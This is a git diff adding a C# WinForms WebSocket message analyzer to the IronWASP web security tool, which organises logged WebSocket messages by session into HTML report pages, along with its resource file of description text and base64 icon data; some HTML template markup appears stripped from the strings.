No newline at end of file diff --git a/Iron/Hawas/WebsocketMessageAnalyzer.cs b/Iron/Hawas/WebsocketMessageAnalyzer.cs new file mode 100644 index 0000000..c949f93 --- /dev/null +++ b/Iron/Hawas/WebsocketMessageAnalyzer.cs @@ -0,0 +1,563 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Text.RegularExpressions; +using System.IO; +using System.Threading; + +namespace IronWASP.Hawas +{ + public partial class WebsocketMessageAnalyzer : Form + { + + Thread AnalysisThread = null; + static WebsocketMessageAnalyzer OpenWebsocketMessageAnalyzer = null; + DirectoryInfo OutputDir = null; + + Dictionary> FullResults = new Dictionary>(); + + Dictionary JsSourceCodeLogs = new Dictionary(); + List AnalyzedLogs = new List(); + + Regex SourceRegex = null; + Regex SinkRegex = null; + Regex JquerySinkRegex = null; + + static string IndexPageTop = @" + + + WebSocket Messages Analysis Results + + + + + + + + +"; + + static string SessionPageTop = @" + + + Messages in this WebSocket Session + + + + +
+"; + static string SessionPageBottom = @" +
+ +"; + + static string Css = @" +.stat_name_mts +{ + padding-left: 25px; + color: #99F; +} +.stat_name_mtc +{ + padding-left: 25px; + color: #F99; +} +.stat_value +{ + padding-left: 5px; + color: #555; + font-weight: bold; +} +.msg_to_server +{ + border-style: groove; + margin: 10px; + margin-left: 10px; + padding: 10px; + background-color: #99F; + word-wrap: normal; + +} +.msg_to_client +{ + border-style: groove; + margin: 10px; + margin-left: 30px; + padding: 10px; + background-color: #F99; + word-wrap: normal; +} + + +#menu_title +{ + text-align: center; + padding-bottom: 10px; + color: #222; +} +.host +{ + width: 99%; + padding-left: 10px; + background-color: #DDD; + color: #000; + text-align: left; + overflow: auto; +} +#menu a +{ + color: #33C; + text-decoration: none; +} +#menu a:hover +{ + color: #33C; + text-decoration: underline; + font-weight: bold; +} +li +{ + padding-bottom: 5px; +} +"; + + public WebsocketMessageAnalyzer() + { + InitializeComponent(); + } + + internal static void OpenWindow() + { + if (!IsWindowOpen()) + { + OpenWebsocketMessageAnalyzer = new WebsocketMessageAnalyzer(); + OpenWebsocketMessageAnalyzer.Show(); + } + OpenWebsocketMessageAnalyzer.Activate(); + } + + static bool IsWindowOpen() + { + if (OpenWebsocketMessageAnalyzer == null) + { + return false; + } + else if (OpenWebsocketMessageAnalyzer.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + delegate void ShowOutputFile_d(string FileName); + void ShowOutputFile(string FileName) + { + try + { + if (AnalysisProgressBar.InvokeRequired) + { + ShowOutputFile_d CALL_d = new ShowOutputFile_d(ShowOutputFile); + AnalysisProgressBar.Invoke(CALL_d, new object[] { FileName }); + } + else + { + OutputTB.Text = FileName; + OutputTB.Visible = true; + } + } + catch { } + } + + delegate void ShowStatusMsg_d(string Msg); + void ShowStatusMsg(string Msg) + { + try + { + if (AnalysisProgressBar.InvokeRequired) + { + ShowStatusMsg_d CALL_d = new ShowStatusMsg_d(ShowStatusMsg); + AnalysisProgressBar.Invoke(CALL_d, new object[] { Msg }); + } + else + { + StatusLbl.Text = Msg; + } + } + catch { } + } + + delegate void ShowAnalysisEndInUi_d(); + void ShowAnalysisEndInUi() + { + try + { + if (AnalysisProgressBar.InvokeRequired) + { + ShowAnalysisEndInUi_d CALL_d = new ShowAnalysisEndInUi_d(ShowAnalysisEndInUi); + AnalysisProgressBar.Invoke(CALL_d, new object[] { }); + } + else + { + ShowHideProgressBar(false); + StartBtn.Text = "Start Analysis"; + } + } + catch { } + } + + delegate void ShowHideProgressBar_d(bool Show); + void ShowHideProgressBar(bool Show) + { + try + { + if (AnalysisProgressBar.InvokeRequired) + { + ShowHideProgressBar_d CALL_d = new ShowHideProgressBar_d(ShowHideProgressBar); + AnalysisProgressBar.Invoke(CALL_d, new object[] { Show }); + } + else + { + AnalysisProgressBar.Visible = Show; + } + } + catch { } + } + + delegate void ShowHideDialogLink_d(bool Show); + void ShowHideDialogLink(bool Show) + { + try + { + if (AnalysisProgressBar.InvokeRequired) + { + ShowHideDialogLink_d CALL_d = new ShowHideDialogLink_d(ShowHideDialogLink); + AnalysisProgressBar.Invoke(CALL_d, new object[] { Show }); + } + else + { + SelectOutputFolderLbl.Visible = Show; + } + } + catch { } + } + + private void StartBtn_Click(object sender, EventArgs e) + { + if (StartBtn.Text.Equals("Start Analysis")) + { + try { AnalysisThread.Abort(); } + catch { } + OutputTB.Text = ""; + ShowStatusMsg("Creating output directory"); + try + { + CreateResultsDir(); + } + catch + { + ShowStatusMsg("Unable to create output directory, cannot proceed."); + return; + } + ShowStatusMsg("Analysis started..."); + AnalysisThread = new Thread(DoAnalysis); + AnalysisThread.Start(); + StartBtn.Text = "Stop Analysis"; + AnalysisProgressBar.Visible = true; + } + else + { + StopAnalysis(); + ShowStatusMsg("Analysis stopped"); + AnalysisProgressBar.Visible = false; + StartBtn.Text = "Start Analysis"; + } + + } + + void CreateResultsDir() + { + OutputDir = Directory.CreateDirectory(string.Format("{0}\\websocket_results\\{1}", IronDB.LogPath, DateTime.Now.Ticks.ToString())); + } + + void StopAnalysis() + { + try + { + AnalysisThread.Abort(); + } + catch { } + } + + private void WebsocketMessageAnalyzer_FormClosing(object sender, FormClosingEventArgs e) + { + StopAnalysis(); + } + + private void SelectOutputFolderLbl_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + while (true) + { + DialogResult Result = OutputFolderDialog.ShowDialog(); + if (Result == DialogResult.OK) + { + OutputDir = Directory.CreateDirectory(string.Format("{0}\\messages_{1}", OutputFolderDialog.SelectedPath, DateTime.Now.ToString("yyyy_MMM_d__HH_mm_ss_tt") + "_ticks_" + DateTime.Now.Ticks.ToString())); + ShowHideDialogLink(false); + try { AnalysisThread.Abort(); } + catch { } + AnalysisThread = new Thread(DoAnalysis); + AnalysisThread.Start(); + AnalysisProgressBar.Visible = true; + return; + } + else if (Result == DialogResult.Cancel) + { + return; + } + } + } + + void DoAnalysis() + { + WebSocketSessions Sessions = new WebSocketSessions(); + try + { + File.WriteAllText(string.Format("{0}\\style.css", OutputDir.FullName), Css); + + int LogId = 1; + while (LogId <= Config.GetLastLogId("WebSocket")) + { + try + { + Session Sess = Session.FromLog(LogId, "WebSocket"); + if (Sess.Response == null) + { + Sessions.AddMessage(Sess.Request); + } + else + { + Sessions.AddMessage(Sess.Request, Sess.Response); + } + } + catch(Exception Exp) + { + IronException.Report("Could not load WebSocket Message in to Message Extractor", Exp); + //This could happen when the most recent messages have not yet been written to the DB by the LogCount has been incremented + } + LogId++; + } + + StringBuilder IndexPage = new StringBuilder(IndexPageTop); + + int SessionCount = 0; + foreach (string SessionId in Sessions.SessionIdsList) + { + WebSocketSession WS = Sessions.GetSession(SessionId); + SessionCount++; + + IndexPage.AppendLine("
  • "); + IndexPage.AppendLine(string.Format("{1}", SessionCount, WS.Url)); + IndexPage.AppendLine(""); + IndexPage.AppendLine(string.Format("", WS.Requests.Count)); + IndexPage.AppendLine(string.Format("", WS.Responses.Count)); + IndexPage.AppendLine("
    Messages to Server: {0}
    Messages to Client: {0}
    "); + IndexPage.AppendLine("
  • "); + + AnalyzeSession(WS, SessionCount); + } + + IndexPage.AppendLine(IndexPageBottom); + File.WriteAllText(string.Format("{0}\\index.html", OutputDir.FullName), IndexPage.ToString()); + ShowStatusMsg("Open the below file in browser to view the analysis results"); + ShowOutputFile(string.Format("{0}\\index.html", OutputDir.FullName)); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + IronException.Report("Error in WebSocket Message Analyzer", Exp); + ShowStatusMsg("Error!! Check the exceptions area for error details."); + } + ShowAnalysisEndInUi(); + } + + void AnalyzeSession(WebSocketSession WS, int SessionCount) + { + + StringBuilder SessionPage = new StringBuilder(SessionPageTop); + for (int i = 0; i <= WS.GetLastMessageId(); i++) + { + if (WS.Requests.ContainsKey(i)) + { + SessionPage.AppendLine(string.Format("
    {0}
    ", Tools.HtmlEncode(WS.Requests[i].Replace(" ", " ").Replace("\t", "    ").Replace("\r\n", "
    ").Replace("\r", "
    ").Replace("\n", "
    ")))); + } + else if (WS.Responses.ContainsKey(i)) + { + SessionPage.AppendLine(string.Format("
    {0}
    ", Tools.HtmlEncode(WS.Responses[i]).Replace(" ", " ").Replace("\t", "    ").Replace("\r\n", "
    ").Replace("\r", "
    ").Replace("\n", "
    "))); + } + } + SessionPage.AppendLine(SessionPageBottom); + + File.WriteAllText(string.Format("{0}\\{1}.html", OutputDir.FullName, SessionCount), SessionPage.ToString()); + } + + private void WebsocketMessageAnalyzer_Load(object sender, EventArgs e) + { + + } + } + + internal class WebSocketSessions + { + internal List SessionIdsList = new List();//This is to keep track of the order in which the IDs were read, since the SessionList dict does not preserve this + Dictionary SessionsList = new Dictionary(); + + internal void AddMessage(Request Req) + { + WebSocketSession WS = GetSession(Req); + WS.AddRequest(Req); + } + + internal void AddMessage(Request Req, Response Res) + { + WebSocketSession WS = GetSession(Req); + WS.AddResponse(Req, Res); + } + + internal WebSocketSession GetSession(string SessionId) + { + return SessionsList[SessionId]; + } + + WebSocketSession GetSession(Request Req) + { + string SessionId = WebSocketSession.GetSessionId(Req); + if (!SessionsList.ContainsKey(SessionId)) + { + SessionsList[WebSocketSession.GetSessionId(Req)] = new WebSocketSession(Req); + SessionIdsList.Add(SessionId); + } + return SessionsList[SessionId]; + } + } + + internal class WebSocketSession + { + internal string Url = ""; + internal string WebSocketKey = ""; + internal string SocketId = ""; + + internal string SessionId = ""; + + internal Dictionary Requests = new Dictionary(); + internal Dictionary Responses = new Dictionary(); + + internal WebSocketSession(Request Req) + { + this.Url = string.Format("//{0}{1}", Req.Host, Req.Url); + this.WebSocketKey = Req.Headers.Get("Sec-WebSocket-Key"); + this.SocketId = Req.Headers.Get("IW-WS-SocketID"); + this.SessionId = GetSessionId(Req); + } + + internal void AddRequest(Request Req) + { + Requests[GetMessageId(Req)] = Req.BodyString; + } + + internal void AddResponse(Request Req, Response Res) + { + Responses[GetMessageId(Req)] = Res.BodyString; + } + + internal static string GetSessionId(Request Req) + { + return string.Format("{0}-{1}", Req.Headers.Get("IW-WS-SocketID"), Req.Headers.Get("Sec-WebSocket-Key")); + } + + int GetMessageId(Request Req) + { + return Int32.Parse(Req.Headers.Get("IW-WS-SocketMsgID").Trim()); + } + + internal int GetLastMessageId() + { + List Ids = new List(Requests.Keys); + Ids.AddRange(Responses.Keys); + Ids.Sort(); + if (Ids.Count > 0) + { + return Ids[Ids.Count - 1]; + } + else + { + return 0; + } + } + } +} diff --git a/Iron/Hawas/WebsocketMessageAnalyzer.resx b/Iron/Hawas/WebsocketMessageAnalyzer.resx new file mode 100644 index 0000000..2900479 --- /dev/null +++ b/Iron/Hawas/WebsocketMessageAnalyzer.resx @@ -0,0 +1,1927 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + WebSocket Message Analyzer will go through all the WebSocket Messages in the logs, organize them WebSocket session and create HTML report of all the messages. + +It makes it easy to view and understand the WebSockets messages sent and recieved. + + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 